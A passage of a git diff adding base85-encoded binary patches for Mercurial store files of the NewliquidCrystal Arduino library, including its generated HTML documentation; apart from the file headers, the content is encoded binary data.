z>W8IlCDeThKZK(Z2w5703F&fXX^IL2@BpF0v(#x6CgFTicyX#FU9p=_PV?2S`P_A- z38Z;5uY;D2wbSLp5{1EDO=3=ViX%K>(`Uk<)bv*5O@-j5sAkPp>KYZ{RKC$CVNfUQ z_C;kCR+qm?-dgeYm&(k3Y;R_xR?5Y-&jqA8A$W)#HeJY@9N)BpaDse>mNi{Pc{1^h z58aEU3Iq7y4ls221md5eSwCOQsCW64BSpp5o%_E_W1->|Tqb;Im5q z_Y<$tPt?ufwa-~7%vmVyau&^VhZ{MIY_2i)5sh3jAJH1ekjcMdp0suFG9fmHkCwr! zaej6qcxCgs1-zQLv<+UF{43_7+XpX`!OLtHyqf30H-nc}fmb7!*1=0#3a@OwzkTpB z7`%*j!K-P!GC+k{Mq{81_S++STSC$9nEfS$+2}9H`w^XXxaFp zd8u=Aj6>DrFmGhjIv<)TuxwqoeduDt3!`Pji{|y@jnI{?KNmi!7E$iFXrc)xU>yknfxpEC$tYLME_gNXi`WQWrF|4R#2PuZ z4Pqr7R_p_59n4I&+-Uw~%Z>Toh0-n;#P)xzv5TR3d&#<(e7+qeM`a_g7NC;v?)l&D z)cKRp?mPaV?<9l1UEm;$4xp^f&PqeN!$wEkFr~wZl_TVG%@Oi^cT{EXQ=d)-8v^MC z+lH1SE#FY|QY1AqD?@F*T?y2C8`$x**xAK*3N3CJ+nPz5cQ7qC$=SLlX=GM5$=ORy zQbH(y17Q4NeL9B`r_0n#Z>#>KHzNZ`-K(c7Bi^N@%7bi+-7%O%gHEBYuhyKmklpIORJ&=l#gD zbN}gC?(FRQ#z*@%JqlZSg#P z=}Hu#dSX6(2d2Bk(YN`&6n<9wz3+2xv}GBjb!0eZS<(Z;+m=IKM~>`fi|tFHtR=-P zAjN^`ZA+rABgsE-he)EWBMA$tU|{h>1ku+KWbwfIwuLb^5hjd&gec}ZqLj}3 zXTCgj=AIit0A6wCDLaU7`0X2Lk6)s}?`(n^#*nsO>)Sl+dw literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r1__w__8h__source.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r1__w__8h__source.html.i new file mode 100644 index 0000000000000000000000000000000000000000..86ec5576742d250e74500caa1274b12a03141572 GIT binary patch literal 19835 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 